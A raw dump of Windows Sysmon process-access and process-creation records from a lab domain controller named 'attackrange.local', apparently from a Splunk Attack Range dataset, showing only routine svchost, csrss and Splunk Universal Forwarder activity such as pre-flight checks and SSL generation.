09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001890Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001889Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001888Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001887Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001886Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001885Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001884Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D1-5F80-4C00-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001883Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D1-5F80-4C00-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1803d|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001882Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.150{A5F018FF-28D1-5F80-4C00-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-sslC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000001881Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001880Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001879Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001878Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001877Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001876Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001875Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001874Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001873Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001872Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001871Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001870Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28D1-5F80-4A00-000000007F01}38603880C:\Windows\system32\cmd.exe{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001869Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.141{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-28D1-5F80-4A00-000000007F01}3860C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1 10341000x80000000000000001868Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D1-5F80-4A00-000000007F01}3860C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001867Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001866Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001865Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001864Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 